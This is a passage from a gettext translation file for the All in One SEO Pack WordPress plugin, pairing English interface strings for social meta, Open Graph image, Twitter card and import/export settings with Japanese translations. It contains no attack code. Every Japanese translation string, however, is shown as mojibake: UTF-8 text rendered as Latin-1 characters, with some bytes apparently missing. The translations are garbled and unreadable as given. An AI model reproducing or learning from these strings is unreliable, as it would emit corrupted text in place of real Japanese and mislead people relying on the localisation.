´åˆã€ã“ã®è¨­å®šã‚’有効化ã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:612 msgid "This setting allows you to raise your PHP execution time to a reasonable value." msgstr "ã“ã®è¨­å®šã§ã¯ã€PHP ã®å®Ÿè¡Œæ™‚間を妥当ãªå€¤ã«ä¸Šã’ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:611 msgid "This setting allows you to raise your PHP memory limit to a reasonable value. Note: WordPress core and other WordPress plugins may also change the value of the memory limit." msgstr "ã“ã®è¨­å®šã‚’使用ã™ã‚‹ã¨ã€PHP ã®ãƒ¡ãƒ¢ãƒªåˆ¶é™ã‚’é©åˆ‡ãªå€¤ã«å¼•ã上ã’ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚注: WordPress コアや他㮠WordPress プラグインã§ã‚‚メモリ制é™ã®å€¤ã‚’変更ã™ã‚‹å¯èƒ½æ€§ãŒã‚りã¾ã™ã€‚" #: admin/class-aioseop-helper.php:840 msgid "Choose a default value that best describes the content of your post type." msgstr "投稿タイプã®å†…容を最もよã説明ã™ã‚‹ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆå€¤ã‚’é¸æŠžã—ã¾ã™ã€‚" #: modules/aioseop_opengraph.php:1722 msgid "Object Type" msgstr "オブジェクト型" #: modules/aioseop_opengraph.php:1006 msgid "Scan your site for duplicate social meta tags." msgstr "サイトをスキャンã—ã¦ã€é‡è¤‡ã—ãŸã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ã‚¿ã‚°ã‚’探ã—ã¾ã—ょã†ã€‚" #: modules/aioseop_opengraph.php:1005 msgid "Scan Now" msgstr "ã„ã¾ã™ãスキャン" #: modules/aioseop_opengraph.php:852 msgid "Default " msgstr "デフォルト" #: modules/aioseop_opengraph.php:704 msgid "Scan Social Meta" msgstr "ソーシャルメタ情報をスキャン" #: modules/aioseop_opengraph.php:694 msgid "Twitter Settings" msgstr "Twitter 設定" #: modules/aioseop_opengraph.php:679 msgid "Facebook Settings" msgstr "Facebook 設定" #: modules/aioseop_opengraph.php:669 msgid "Image Settings" msgstr "ç”»åƒè¨­å®š" #: modules/aioseop_opengraph.php:638 msgid "Social Settings" msgstr "ソーシャル設定" #: modules/aioseop_opengraph.php:587 msgid "Associated Name" msgstr "関連付ã‘られãŸåå‰" #: modules/aioseop_opengraph.php:583 msgid "Organization" msgstr "組織" #: modules/aioseop_opengraph.php:582 msgid "Person" msgstr "人" #: modules/aioseop_opengraph.php:579 msgid "Person or Organization?" msgstr "個人ã¾ãŸã¯çµ„ç¹”ã®ã©ã¡ã‚‰ã§ã™ã‹ ?" #: modules/aioseop_opengraph.php:573 modules/aioseop_opengraph.php:674 msgid "Social Profile Links" msgstr "ソーシャルプロフィールリンク" #: modules/aioseop_opengraph.php:570 msgid "Show Facebook Author on Articles" msgstr "記事㫠Facebook ã®è‘—者を表示 " #: modules/aioseop_opengraph.php:565 msgid "Show Facebook Publisher on Articles" msgstr "Facebook Publisher ã®è¨˜äº‹ã‚’表示" #: modules/aioseop_opengraph.php:559 msgid "Article Tags" msgstr "記事ã®ã‚¿ã‚°" #: modules/aioseop_opengraph.php:553 msgid "Article Section" msgstr "記事ã®ã‚»ã‚¯ã‚·ãƒ§ãƒ³" #: modules/aioseop_opengraph.php:550 msgid "Debug This Post" msgstr "ã“ã®æŠ•ç¨¿ã‚’ãƒ‡ãƒãƒƒã‚°" #: modules/aioseop_opengraph.php:542 msgid "Facebook Debug" msgstr "Facebook デãƒãƒƒã‚°" #: modules/aioseop_opengraph.php:507 msgid "Use Post Tags In Article Tags" msgstr "è¨˜äº‹ã‚¿ã‚°ã§æŠ•ç¨¿ã‚¿ã‚°ã‚’ä½¿ç”¨" #: modules/aioseop_opengraph.php:502 msgid "Use Categories In Article Tags" msgstr "記事ã®ã‚¿ã‚°ã«ã‚«ãƒ†ã‚´ãƒªãƒ¼ã‚’使用" #: modules/aioseop_opengraph.php:497 msgid "Use Keywords In Article Tags" msgstr "記事ã®ã‚¿ã‚°ã«ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’使用" #: modules/aioseop_opengraph.php:494 msgid "Automatically Generate Article Tags" msgstr "記事ã®ã‚¿ã‚°ã‚’自動生æˆã™ã‚‹" #: modules/aioseop_opengraph.php:485 msgid "Twitter Domain" msgstr "Twitter ドメイン" #: modules/aioseop_opengraph.php:482 msgid "Show Twitter Author" msgstr "Twitter 投稿者を表示" #: modules/aioseop_opengraph.php:477 msgid "Twitter Site" msgstr "Twitter サイト" #: modules/aioseop_opengraph.php:464 msgid "Twitter Card Type" msgstr "Twitter カードタイプ" #: modules/aioseop_opengraph.php:455 modules/aioseop_opengraph.php:467 msgid "Summary Large Image" msgstr "è¦ç´„ã®å¤§ãã„ç”»åƒ" #: modules/aioseop_opengraph.php:454 modules/aioseop_opengraph.php:468 msgid "Summary" msgstr "è¦ç´„" #: modules/aioseop_opengraph.php:450 msgid "Default Twitter Card" msgstr "デフォルト Twitter カード" #: modules/aioseop_opengraph.php:438 msgid "Specify Video Height" msgstr "å‹•ç”»ã®é«˜ã•を指定" #: modules/aioseop_opengraph.php:426 msgid "Specify Video Width" msgstr "å‹•ç”»ã®å¹…を指定" #: modules/aioseop_opengraph.php:422 msgid "Custom Video" msgstr "カスタム動画" #: modules/aioseop_opengraph.php:417 msgid "Specify Image Height" msgstr "ç”»åƒã®é«˜ã•を指定" #: modules/aioseop_opengraph.php:412 msgid "Specify Image Width" msgstr "ç”»åƒã®å¹…を指定" #: modules/aioseop_opengraph.php:408 msgid "Custom Image" msgstr "カスタム画åƒ" #: modules/aioseop_opengraph.php:401 msgid "Image" msgstr "ç”»åƒ" #: modules/aioseop_opengraph.php:535 msgid "Facebook Object Type" msgstr "Facebook オブジェクトタイプ" #: modules/aioseop_opengraph.php:396 msgid "Use Custom Field For Image" msgstr "ç”»åƒã«ã¯ã‚«ã‚¹ã‚¿ãƒ ãƒ•ィールドを利用ã™ã‚‹" #: modules/aioseop_opengraph.php:391 msgid "Default Image Height" msgstr "デフォルトã®ç”»åƒé«˜ã•" #: modules/aioseop_opengraph.php:386 msgid "Default Image Width" msgstr "デフォルトã®ç”»åƒå¹…" #: modules/aioseop_opengraph.php:381 msgid "Default OG:Image" msgstr "デフォルト㮠OG:Image" #: modules/aioseop_opengraph.php:377 msgid "Use Default If No Image Found" msgstr "ç”»åƒãŒè¦‹ã¤ã‹ã‚‰ãªã„å ´åˆã¯ãƒ‡ãƒ•ォルトを使用" #: modules/aioseop_opengraph.php:373 msgid "First Available Image" msgstr "最åˆã®åˆ©ç”¨å¯èƒ½ç”»åƒ" #: modules/aioseop_opengraph.php:372 msgid "Post Author Image" msgstr "投稿者画åƒ" #: modules/aioseop_opengraph.php:371 msgid "Image From Custom Field" msgstr "カスタムフィールドã‹ã‚‰ã®ç”»åƒ" #: modules/aioseop_opengraph.php:370 msgid "First Image In Content" msgstr "ã‚³ãƒ³ãƒ†ãƒ³ãƒ„å†…ã®æœ€åˆã®ç”»åƒ" #: modules/aioseop_opengraph.php:369 msgid "First Attached Image" msgstr "最åˆã®æ·»ä»˜ç”»åƒ" #: modules/aioseop_opengraph.php:368 msgid "Featured Image" msgstr "アイキャッãƒç”»åƒ" #: modules/aioseop_opengraph.php:367 msgid "Default Image" msgstr "デフォルト画åƒ" #: modules/aioseop_opengraph.php:364 msgid "Select OG:Image Source" msgstr "OG:Image ã‚½ãƒ¼ã‚¹ã‚’é¸æŠž" #: modules/aioseop_opengraph.php:356 msgid "Home Image" msgstr "ホーム画åƒ" #: modules/aioseop_opengraph.php:340 msgid "Home Description" msgstr "ホームã®ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ション" #: modules/aioseop_opengraph.php:324 msgid "Home Title" msgstr "ホームタイトル" #: modules/aioseop_opengraph.php:319 msgid "Site Name" msgstr "サイトå" #: modules/aioseop_opengraph.php:316 msgid "Run Shortcodes In Description" msgstr "ディスクリプション内ã®ã‚·ãƒ§ãƒ¼ãƒˆã‚³ãƒ¼ãƒ‰ã‚’実行" #: modules/aioseop_opengraph.php:313 msgid "Run Shortcodes In Title" msgstr "タイトル内ã®ã‚·ãƒ§ãƒ¼ãƒˆã‚³ãƒ¼ãƒ‰ã‚’実行" #: modules/aioseop_opengraph.php:299 msgid "Use AIOSEO Title and Description" msgstr "AIOSEO ã® Title 㨠Description を使用ã™ã‚‹" #: modules/aioseop_opengraph.php:294 msgid "Scan Header" msgstr "ヘッダーã®ã‚¹ã‚­ãƒ£ãƒ³" #: admin/class-aioseop-helper.php:789 msgid "Add the name of the person or organization who owns these profiles." msgstr "ã“れらã®ãƒ—ロファイルを所有ã™ã‚‹å€‹äººã¾ãŸã¯çµ„ç¹”ã®åå‰ã‚’追加ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:787 msgid "Add URLs for your website's social profiles here (Facebook, Twitter, Google+, Instagram, LinkedIn), one per line." msgstr "ウェブサイトã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ—ロフィール (Facebook, Twitter, Google +, Instagram, LinkedIn) ã‚’ã€1行ã«ã¤ã1URL 追加ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:788 msgid "Are the social profile links for your website for a person or an organization?" msgstr "ウェブサイトã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ—ロフィールリンクã¯ã€å€‹äººã¨çµ„ç¹”ã©ã¡ã‚‰ã®ã‚‚ã®ã§ã™ã‹ ?" #: admin/class-aioseop-helper.php:800 msgid "Allows your authors to be identified by their Facebook pages as content authors on the Opengraph meta for their articles." msgstr "著者ã¯ã€ãã®è¨˜äº‹ã®ãŸã‚オープングラフメタ上ã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„作æˆè€…ã¨ã—ã¦ã®è‡ªåˆ†ã® Facebook ã®ãƒšãƒ¼ã‚¸ã«ã‚ˆã£ã¦è­˜åˆ¥ã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:799 msgid "Link articles to the Facebook page associated with your website." msgstr "ウェブサイトã«é–¢é€£ä»˜ã‘られã¦ã„ã‚‹Facebookページã¸ã®ãƒªãƒ³ã‚¯ã®è¨˜äº‹ã€‚" #: admin/class-aioseop-helper.php:826 msgid "This Open Graph meta allows you to add a list of keywords that best describe this content." msgstr "ã“ã®ã‚ªãƒ¼ãƒ—ングラフメタã¯ã“ã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„をよã説明ã™ã‚‹ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã®ãƒªã‚¹ãƒˆã‚’追加ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:825 msgid "This Open Graph meta allows you to add a general section name that best describes this content." msgstr "ã“ã®ã‚ªãƒ¼ãƒ—ングラフメタã¯ã“ã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„をよã説明ã™ã‚‹ä¸€èˆ¬çš„ãªã‚»ã‚¯ã‚·ãƒ§ãƒ³åを追加ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:824 msgid "Press this button to have Facebook re-fetch and debug this page." msgstr "ã“ã®ãƒœã‚¿ãƒ³ã‚’押ã™ã¨ã€FacebookãŒã“ã®ãƒšãƒ¼ã‚¸ã‚’å†ãƒ•ェッãƒã—ã€ãƒ‡ãƒãƒƒã‚°ã—ã¦ã„ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:823 msgid "Select the Open Graph type that best describes the content of this Page or Post." msgstr "ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®å†…容をよã説明ã™ã‚‹ã‚ªãƒ¼ãƒ—ãƒ³ã‚°ãƒ©ãƒ•ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:815 msgid "This is the Open Graph description of this Page or Post." msgstr "ã“れã¯ã€ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®ã‚ªãƒ¼ãƒ—ングラフã®è¨˜è¿°ã§ã™ã€‚" #: admin/class-aioseop-helper.php:814 msgid "This is the Open Graph title of this Page or Post." msgstr "ã“れã¯ã€ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®ã‚ªãƒ¼ãƒ—ングラフタイトルã§ã™ã€‚" #: admin/class-aioseop-helper.php:797 msgid "Use post tags in generated article tags." msgstr "生æˆã•れãŸè¨˜äº‹ã‚¿ã‚°ã«æŠ•稿タグを使用ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:796 msgid "Use categories in generated article tags." msgstr "生æˆã•れãŸè¨˜äº‹ã‚¿ã‚°ã«ã‚«ãƒ†ã‚´ãƒªãƒ¼ã‚’使用ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:795 msgid "Use keywords in generated article tags." msgstr "生æˆã•れãŸè¨˜äº‹ã‚¿ã‚°ã«ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’使用ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:794 msgid "Automatically generate article tags for Facebook type article when not provided." msgstr "æä¾›ã•れã¦ã„ãªã„ã¨ãã«ã€è‡ªå‹•的㫠Facebook ã®ã‚¿ã‚¤ãƒ—ã®è¨˜äº‹ã®è¨˜äº‹ã®ã‚¿ã‚°ã‚’生æˆã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:806 msgid "Enter the name of your website here." msgstr "サイトåを入力ã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:805 msgid "Allows your authors to be identified by their Twitter usernames as content creators on the Twitter cards for their posts." msgstr "著者ã¯å½¼ã‚‰ã®è¨˜äº‹ã®ãŸã‚ã® Twitter ã®ã‚«ãƒ¼ãƒ‰ä¸Šã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„クリエイターã¨ã—ã¦ã® Twitter ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼åã«ã‚ˆã£ã¦è­˜åˆ¥ã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:804 msgid "Enter the Twitter username associated with your website here." msgstr "ã“ã“ã«ã‚¦ã‚§ãƒ–サイトã«é–¢é€£ã—㟠Twitter ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼åを入力ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:803 msgid "Select the default type of Twitter Card to display." msgstr "表示ã™ã‚‹ Twitter カードã®ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:822 msgid "Enter the height for your Open Graph video in pixels (i.e. 600)." msgstr "Open Graph ã®å‹•ç”»ã®é«˜ã•をピクセルå˜ä½ã§å…¥åŠ›ã—ã¾ã™ (例: 600)。" #: admin/class-aioseop-helper.php:821 msgid "Enter the width for your Open Graph video in pixels (i.e. 600)." msgstr "Open Graph ã®å‹•ç”»ã®å¹…をピクセルå˜ä½ã§å…¥åŠ›ã—ã¾ã™ (例: 600)。" #: admin/class-aioseop-helper.php:820 msgid "This option lets you specify a link to the Open Graph video used on this Page or Post." msgstr "ã“ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã¨ã€ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã«ä½¿ç”¨ã•れるグラフを開ãビデオã¸ã®ãƒªãƒ³ã‚¯ã‚’指定ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:819 msgid "Enter the height for your Open Graph image in pixels (i.e. 600)." msgstr "Open Graph ã®ç”»åƒã®é«˜ã•をピクセルå˜ä½ã§å…¥åŠ›ã—ã¾ã™ (例: 600)。" #: admin/class-aioseop-helper.php:818 msgid "Enter the width for your Open Graph image in pixels (i.e. 600)." msgstr "Open Graph ã®ç”»åƒã®å¹…をピクセルå˜ä½ã§å…¥åŠ›ã—ã¾ã™ (例: 600)。" #: admin/class-aioseop-helper.php:817 msgid "This option lets you upload an image to use as the Open Graph image for this Page or Post." msgstr "ã“ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã¨ã€ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®ãŸã‚ã®ã‚ªãƒ¼ãƒ—ングラフイメージã¨ã—ã¦ä½¿ç”¨ã™ã‚‹ç”»åƒã‚’アップロードã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:816 msgid "This option lets you select the Open Graph image that will be used for this Page or Post, overriding the default settings." msgstr "ã“ã®ã‚ªãƒ—ションã¯ã€ãƒ‡ãƒ•ォルトã®è¨­å®šã‚’上書ãã™ã‚‹ã¨ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®ãŸã‚ã«ä½¿ç”¨ã•ã‚Œã‚‹ã‚ªãƒ¼ãƒ—ãƒ³ã‚°ãƒ©ãƒ•ã‚¤ãƒ¡ãƒ¼ã‚¸ã‚’é¸æŠžã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:784 msgid "Enter the name of a custom field (or multiple field names separated by commas) to use that field to specify the Open Graph image on Pages or Posts." msgstr "固定ページã¾ãŸã¯æŠ•稿上ã®ã‚°ãƒ©ãƒ•ã‚’é–‹ãイメージを指定ã™ã‚‹ã«ã¯ã€ãã®ãƒ•ィールドを使用ã™ã‚‹ã‚«ã‚¹ã‚¿ãƒ ãƒ•ィールドã®åå‰ï¼ˆã¾ãŸã¯ã‚«ãƒ³ãƒžã§åŒºåˆ‡ã‚‰ã‚ŒãŸè¤‡æ•°ã®ãƒ•ィールドå)を入力ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:783 msgid "This option lets you set a default height for your images, where unspecified." msgstr "ã“ã®ã‚ªãƒ—ションã¯ã€æŒ‡å®šã•れã¦ã„ãªã„ã‚ãªãŸã®ã‚¤ãƒ¡ãƒ¼ã‚¸ã®ãŸã‚ã®ãƒ‡ãƒ•ォルトã®é«˜ã•を設定ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:782 msgid "This option lets you set a default width for your images, where unspecified." msgstr "ã“ã®ã‚ªãƒ—ションã¯ã€æŒ‡å®šã•れã¦ã„ãªã„ã‚ãªãŸã®ã‚¤ãƒ¡ãƒ¼ã‚¸ã®ãŸã‚ã®ãƒ‡ãƒ•ォルトã®å¹…を設定ã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:781 msgid "This option sets a default image that can be used for the Open Graph image. You can upload an image, select an image from your Media Library or paste the URL of an image here." msgstr "ã“ã®ã‚ªãƒ—ションã¯ã€ã‚ªãƒ¼ãƒ—ングラフイメージã®ãŸã‚ã«ä½¿ç”¨ã™ã‚‹ã“ã¨ãŒã§ãã€ãƒ‡ãƒ•ォルトã®ç”»åƒã‚’設定ã—ã¾ã™ã€‚ç”»åƒã‚’アップロードã—ãŸãƒ¡ãƒ‡ã‚£ã‚¢ãƒ©ã‚¤ãƒ–ラリã‹ã‚‰ç”»åƒã‚’é¸æŠžã™ã‚‹ã‹ã€ã“ã“ã«ç”»åƒã®URLを貼り付ã‘ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:780 msgid "This option lets you fall back to the default image if no image could be found above." msgstr "ã“ã®ã‚ªãƒ—ションã¯ã€ç”»åƒãŒä¸Šã‹ã‚‰è¦‹ã¤ã‹ã‚‰ãªã‹ã£ãŸå ´åˆã¯ã€ãƒ‡ãƒ•ォルトã®ç”»åƒã«ãƒ•ォールãƒãƒƒã‚¯ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:779 msgid "This option lets you choose which image will be displayed by default for the Open Graph image. You may override this on individual posts." msgstr "ã“ã®ã‚ªãƒ—ションã¯ã€ã‚ªãƒ¼ãƒ—ングラフイメージã®ãŸã‚ã«ãƒ‡ãƒ•ォルトã§è¡¨ç¤ºã•れる画åƒã‚’é¸æŠžã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚å€‹ã€…ã®æŠ•ç¨¿ã§ã“れをオーãƒãƒ¼ãƒ©ã‚¤ãƒ‰ã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:776 msgid "The Home Image is the Open Graph image for your home page." msgstr "ホームイメージã¯ã€ã‚ãªãŸã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ã‚ªãƒ¼ãƒ—ングラフイメージã§ã™ã€‚" #: admin/class-aioseop-helper.php:775 msgid "The Home Description is the Open Graph description for your home page." msgstr "ホームã®èª¬æ˜Žã¯ã€ã‚ãªãŸã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ã‚ªãƒ¼ãƒ—ングラフã®èª¬æ˜Žã§ã™ã€‚" #: admin/class-aioseop-helper.php:774 msgid "The Home Title is the Open Graph title for your home page." msgstr "ホームタイトルã¯ã€ã‚ãªãŸã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ã‚ªãƒ¼ãƒ—ングラフã®ã‚¿ã‚¤ãƒˆãƒ«ã§ã™ã€‚" #: admin/class-aioseop-helper.php:773 msgid "The Site Name is the name that is used to identify your website." msgstr "サイトåã¯ã‚ãªãŸã®ã‚¦ã‚§ãƒ–サイトを識別ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã•れるåå‰ã§ã™ã€‚" #: admin/class-aioseop-helper.php:810 msgid "Run shortcodes that appear in social description meta tags." msgstr "ソーシャル記述メタタグã«è¡¨ç¤ºã•れるショートコードを実行ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:809 msgid "Run shortcodes that appear in social title meta tags." msgstr "ソーシャルタイトルメタタグã«è¡¨ç¤ºã•れるショートコードを実行ã—ã¾ã™ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/class-aioseop-helper.php:772 msgid "Checking this box will use the Home Title and Home Description set in %s, General Settings as the Open Graph title and description for your home page." msgstr "ã“ã®ãƒœãƒƒã‚¯ã‚¹ã‚’ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€ %s ã®ä¸€èˆ¬è¨­å®šã§è¨­å®šã•れãŸã‚¿ã‚¤ãƒˆãƒ«ã¨èª¬æ˜Žã‚’〠Open Graph ã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ã‚¿ã‚¤ãƒˆãƒ«ã¨èª¬æ˜Žã¨ã—ã¦ä½¿ç”¨ã™ã‚‹ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚" #: modules/aioseop_opengraph.php:79 msgid "Website" msgstr "サイト" #: modules/aioseop_opengraph.php:78 msgid "Article" msgstr "記事" #: modules/aioseop_opengraph.php:75 msgid "Episode" msgstr "エピソード" #: modules/aioseop_opengraph.php:74 msgid "TV Show" msgstr "テレビ番組" #: modules/aioseop_opengraph.php:73 msgid "Song" msgstr "æ­Œ" #: modules/aioseop_opengraph.php:72 msgid "Product" msgstr "商å“" #: modules/aioseop_opengraph.php:71 msgid "Movie" msgstr "映画" #: modules/aioseop_opengraph.php:70 msgid "Game" msgstr "ゲーム" #: modules/aioseop_opengraph.php:69 msgid "Food" msgstr "食ã¹ç‰©" #: modules/aioseop_opengraph.php:68 msgid "Drink" msgstr "飲ã¿ç‰©" #: modules/aioseop_opengraph.php:67 msgid "Book" msgstr "本" #: modules/aioseop_opengraph.php:66 msgid "Album" msgstr "アルãƒãƒ " #: modules/aioseop_opengraph.php:63 msgid "State Province" msgstr "州・都é“府県" #: modules/aioseop_opengraph.php:62 msgid "Landmark" msgstr "ランドマーク" #: modules/aioseop_opengraph.php:61 msgid "Country" msgstr "国" #: modules/aioseop_opengraph.php:60 msgid "City" msgstr "市区町æ‘" #: modules/aioseop_opengraph.php:57 msgid "Public Figure" msgstr "芸能人" #: modules/aioseop_opengraph.php:56 msgid "Profile" msgstr "プロフィール" #: modules/aioseop_opengraph.php:55 msgid "Politician" msgstr "政治家" #: modules/aioseop_opengraph.php:54 msgid "Musician" msgstr "音楽家" #: modules/aioseop_opengraph.php:53 msgid "Director" msgstr "ディレクター" #: modules/aioseop_opengraph.php:52 msgid "Author" msgstr "著者" #: modules/aioseop_opengraph.php:51 msgid "Athlete" msgstr "スãƒãƒ¼ãƒ„鏿‰‹" #: modules/aioseop_opengraph.php:50 msgid "Actor" msgstr "俳優" #: modules/aioseop_opengraph.php:47 msgid "University" msgstr "大学" #: modules/aioseop_opengraph.php:46 msgid "School" msgstr "学校" #: modules/aioseop_opengraph.php:45 msgid "Non Profit" msgstr "éžå–¶åˆ©çš„" #: modules/aioseop_opengraph.php:44 msgid "Government" msgstr "政府" #: modules/aioseop_opengraph.php:43 msgid "Band" msgstr "ãƒãƒ³ãƒ‰" #: modules/aioseop_opengraph.php:40 msgid "Sports Team" msgstr "スãƒãƒ¼ãƒ„ãƒãƒ¼ãƒ " #: modules/aioseop_opengraph.php:39 msgid "Sports League" msgstr "スãƒãƒ¼ãƒ„リーグ" #: modules/aioseop_opengraph.php:38 msgid "Cause" msgstr "社会的活動" #: modules/aioseop_opengraph.php:35 msgid "Restaurant" msgstr "レストラン" #: modules/aioseop_opengraph.php:34 msgid "Hotel" msgstr "ホテル" #: modules/aioseop_opengraph.php:33 msgid "Cafe" msgstr "カフェ" #: modules/aioseop_opengraph.php:32 msgid "Company" msgstr "会社" #: modules/aioseop_opengraph.php:31 msgid "Bar" msgstr "ãƒãƒ¼" #: modules/aioseop_opengraph.php:28 msgid "Sport" msgstr "スãƒãƒ¼ãƒ„" #: modules/aioseop_opengraph.php:27 msgid "Activity" msgstr "アクティビティ" #: admin/aioseop_module_class.php:2738 msgid "Update Options" msgstr "設定を更新" #: admin/aioseop_module_class.php:2662 msgid "All in One SEO Options Updated." msgstr "All in One SEO 設定を更新ã—ã¾ã—ãŸã€‚" #: admin/aioseop_module_class.php:2653 msgid "Options Reset." msgstr "設定をリセットã—ã¾ã—ãŸã€‚" #: modules/aioseop_sitemap.php:1218 admin/aioseop_module_class.php:2650 msgid "Security Check - If you receive this in error, log out and back in to WordPress" msgstr "ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ç¢ºèª - ã“ã®ã‚¨ãƒ©ãƒ¼ãŒè¡¨ç¤ºã•れãŸã‚‰ã€ä¸€åº¦ WordPress をログアウトã—ã¦å†åº¦ãƒ­ã‚°ã‚¤ãƒ³ã—ã¦ãã ã•ã„。" #: admin/aioseop_module_class.php:2377 msgid " characters. Most search engines use a maximum of %1$s chars for the %2$s." msgstr "文字。ã»ã¨ã‚“ã©ã®æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã®%2$sã¯æœ€å¤§%1$s文字ã§ã™ã€‚" #: admin/class-aioseop-helper.php:475 inc/commonstrings.php:49 msgid "Click here for documentation on this setting" msgstr "ã“ã®è¨­å®šã«é–¢ã™ã‚‹ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã¯ã“ã¡ã‚‰" #: modules/aioseop_importer_exporter.php:446 msgid "Warning: This following post could not be found: \"%s\"" msgstr "警告 : æ¬¡ã®æŠ•ç¨¿ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—㟠: \"%s\"" #: modules/aioseop_importer_exporter.php:397 msgid "Warning: Line not matched: \"%1$s\", On Line: %2$s" msgstr "警告 : 行ãŒä¸€è‡´ã—ã¾ã›ã‚“ : \"%1$s\", On Line: %2$s" #: modules/aioseop_importer_exporter.php:138 msgid "" "You may change this by activating or deactivating\n" "\t\t\t\t\t\tmodules in the Feature Manager." msgstr "ã“れを変更ã™ã‚‹ã«ã¯ã€Œæ©Ÿèƒ½ç®¡ç†ã€ã§ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã‚’有効化ã¾ãŸã¯åœæ­¢ã—ã¾ã™ã€‚" #: modules/aioseop_importer_exporter.php:131 msgid "There are no other modules currently loaded!" msgstr "ç¾åœ¨ä»–ã«èª­ã¿è¾¼ã¾ã‚ŒãŸãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¯ã‚りã¾ã›ã‚“。" #: modules/aioseop_importer_exporter.php:97 msgid "Export" msgstr "エクスãƒãƒ¼ãƒˆ" #: modules/aioseop_importer_exporter.php:51 msgid "" "Note: If General Settings is checked, the\n" "\t\t\t\t\t\t\t\tGeneral Settings, the Feature Manager settings,\n" "\t\t\t\t\t\t\t\tand the following currently active modules will\n" "\t\t\t\t\t\t\t\thave their settings data exported:" msgstr "注æ„: 一般設定をãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€ä¸€èˆ¬è¨­å®šã€æ©Ÿèƒ½ç®¡ç†è¨­å®šãŠã‚ˆã³ä»¥ä¸‹ã®ç¾åœ¨æœ‰åйãªãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã®ãƒ‡ãƒ¼ã‚¿ã‚‚エクスãƒãƒ¼ãƒˆã—ã¾ã™:" #: modules/aioseop_importer_exporter.php:38 msgid "Export Post Types:" msgstr "投稿タイプをエクスãƒãƒ¼ãƒˆ:" #: modules/aioseop_importer_exporter.php:30 msgid "Export Settings" msgstr 